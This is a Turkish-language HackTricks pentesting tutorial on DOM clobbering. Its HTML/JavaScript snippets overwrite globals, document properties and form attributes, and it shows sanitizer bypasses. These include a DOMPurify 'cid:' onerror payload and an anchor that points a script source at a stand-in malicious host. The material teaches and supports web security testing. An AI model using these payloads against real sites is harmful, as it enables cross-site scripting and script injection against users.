hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-10 18:14:16 +00:00

13 KiB
Raw Blame History

Dom Clobbering

AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!

Temel Bilgiler

HTML etiketlerinde id ve name özellikleriyle JS bağlamında global değişkenler oluşturmak mümkündür.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Sadece belirli öğeler, embed, form, iframe, image, img ve object öğeleri, name özniteliğini kullanarak global değişkenleri clobber edebilir.

İlginç bir şekilde, bir form öğesi kullanarak bir değişkeni clobber ettiğinizde, öğenin kendisinin toString değerini alırsınız: [object HTMLFormElement] ancak anchor ile toString değeri anchor'ın href değeri olacaktır. Bu nedenle, a etiketi kullanarak clobber yaparsanız, dize olarak işlendiğinde değeri kontrol edebilirsiniz:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Diziler ve Öznitelikler

Bir dizi ve nesne özniteliğini clobber etmek de mümkündür:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Bir 3. özniteliği (örneğin x.y.z) clobberlamak için bir form kullanmanız gerekmektedir:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Daha fazla özniteliği clobberlemek daha karmaşık ama hala mümkün, iframeler kullanılarak:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

{% hint style="warning" %} Stil etiketi, iframe'in render işlemini yapması için yeterli zamanı vermek için kullanılır. Bu olmadan, bir tanımsız uyarısıyla karşılaşacaksınız. {% endhint %}

Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi html kodlamasıyla iframe'ler kullanabilirsiniz:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Filtre Atlama

Bir filtre, document.getElementByID('x').attributes gibi bir şey kullanarak bir düğümün özelliklerini döngüyle geçiyorsa, .attributes özniteliğini clobber edebilir ve filtreyi kırabilirsiniz. tagName, nodeName veya parentNode gibi diğer DOM özellikleri de clobberable olabilir.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObject'ı Clobberlama

JavaScript'te sıkça şu şekilde karşılaşılır:

var someObject = window.someObject || {};

Sayfa üzerinde HTML manipülasyonu, someObject'i bir DOM düğümüyle geçersiz kılmanıza ve potansiyel olarak güvenlik açıklarına neden olmanıza olanak tanır. Örneğin, someObject'i kötü amaçlı bir betiğe işaret eden bir bağlantı elemanıyla değiştirebilirsiniz:

<a id=someObject href=//malicious-website.com/malicious.js></a>

Zararlı bir kodda şu gibi bir açık bulunabilir:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Bu yöntem, istenmeyen kodları çalıştırmak için betik kaynağını kullanır.

Hile: DOMPurify, cid: protokolünü kullanmanıza olanak tanır, bu da çift tırnakları URL kodlaması yapmadığı anlamına gelir. Bu, çalışma zamanında kodun çözümleneceği kodlanmış çift tırnakları enjekte edebileceğiniz anlamına gelir. Bu nedenle, <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> gibi bir şey enjekte etmek, HTML kodlu &quot;'nin çalışma zamanında çözümleneceğini ve öznitelik değerinden kaçacağını ve onerror olayını oluşturacağını yapar.

Başka bir teknik, bir form öğesi kullanır. Belirli bir istemci tarafı kitaplığı, yeni oluşturulan bir form öğesinin özniteliklerini temizlemek için bunları kontrol eder. Ancak, formun içine id=attributes olan bir input ekleyerek, öznitelikler özelliğini etkili bir şekilde üzerine yazarsınız ve temizleyicinin gerçek özniteliklere erişmesini engellersiniz.

Bu tür bir üzerine yazma örneğini bu CTF yazısında bulabilirsiniz.

Belge nesnesi üzerine yazma

Belge Nesnesi'nin özniteliklerini DOM Clobbering kullanarak üzerine yazmak mümkündür:

Belge arayüzü isimli özellikleri destekler. Herhangi bir anda bir Belge nesnesinin desteklenen özellik adları, aşağıdakileri içerir: ağaç sırasına göre, katkıda bulunan öğeye göre, daha sonraki yinelenmeleri yok sayarak ve aynı öğe hem ad hem de ad özniteliği katkıda bulunduğunda, ad özniteliği değerleri ad özniteliklerinden önce gelir:

- İsimsiz olmayan ad içeriği olan tüm ığa çıkarılmış embed, form, iframe, img ve ığa çıkarılmış object öğeleri için ad içeriği değeri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler;

- İsimsiz olmayan id içeriği olan tüm ığa çıkarılmış object öğeleri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler;

- İsimsiz olmayan id ve isim içeriği olan tüm img öğeleri ve belgeyi kök olarak kullanan bir belge ağaç yapısında bulunan öğeler.

Bu teknik kullanılarak yaygın olarak kullanılan değerlerin üzerine yazabilirsiniz, örneğin document.cookie, document.body, document.children ve hatta document.querySelector gibi Belge arayüzündeki yöntemler.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Element ezildikten sonra yazma

document.getElementById() ve document.querySelector() çağrılarının sonuçları, aynı id özniteliğine sahip bir <html> veya <body> etiketi enjekte edilerek değiştirilebilir. İşte nasıl yapılacağı:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, innerText içindeki diğer metinlerin müdahalesi engellenebilir ve böylece saldırının etkinliği artırılabilir:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG araştırmaları, <body> etiketinin de etkili bir şekilde kullanılabileceğini ortaya çıkardı:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilmesi için <foreignobject> etiketi gereklidir:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Formları Clobbering

Bazı etiketlerin içine form özniteliğini belirterek bir formun içine yeni girişler eklemek mümkündür. Bu yöntemi kullanarak bir formun içine yeni değerler ekleyebilir ve hatta göndermek için yeni bir düğme bile ekleyebilirsiniz (clickjacking veya bazı .click() JS kodunu kötüye kullanma):

{% code overflow="wrap" %}

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

{% endcode %}

Referanslar

AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!